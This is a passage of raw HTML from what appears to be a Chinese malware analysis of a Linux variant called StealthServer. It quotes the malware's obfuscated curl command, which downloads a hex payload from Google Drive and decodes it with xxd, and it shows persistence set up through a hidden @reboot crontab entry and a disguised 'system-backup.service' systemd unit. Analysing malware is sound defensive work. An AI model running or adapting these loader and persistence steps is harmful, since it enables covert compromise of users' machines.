&#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">firefox --new-window &#34;<a href="https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link" target="_blank">https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link</a>&#34;</span></span></code></pre><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="Linux-v2-PDF.png" class="rich_pages wxw-img" data-imgfileid="100000497" data-ratio="1.0027777777777778" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9f61a45e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKxBjTsS7zazQX1vIzFb8bVs01nib2xyJjAQ4KCRv4KeNEpSKtsbx4q0w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">StealthServer 的 Payload 也是一份十六进制 HEX 格式的字符串文件，经过</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“xxd -r -p”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">指令即可转换为 ELF 文件，添加可执行权限之后运行程序。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">eaMXJW=&#34;--fail --location --show-error&#34;; curl ${eaMXJW} &#34;<a href="https://drive.google.com/uc?export=download&amp;id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-" target="_blank">https://drive.google.com/uc?export=download&amp;id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-</a>&#34; | xxd -r -p</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"># StealthServer</span></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">这个变种的开发路径是 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，标记为增强版，同样使用了大量垃圾代码，但函数名并没有进行混淆。</span></span></span></span></span></p><h5 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 600;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;font-weight: bold;">1. 持久化</span></span></h5><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">不同的是这个变种可以接受一个参数</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“--hidden”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，当传入这个参数时会跳过持久化的部分。持久化的逻辑是把自身 ELF 文件拷贝到</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“~/.config/system-backup/”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">目录下，然后添加 crontab 计划任务命令</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">@reboot %s &gt; /dev/null 2&gt;&amp;1</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，这会使每次系统重启后自动运行拷贝后的 ELF 文件，并且完全隐藏它的输出。随后添加下述系统任务</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“system-backup.service”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">保证持续运行。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">[Unit]</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Description=System Backup Service</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">After=network.target</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">[Service]</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Type=simple</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">ExecStart=%s</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Restart=always</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">RestartSec=10</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">User=%s</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">[Install]</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">WantedBy=default.target</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 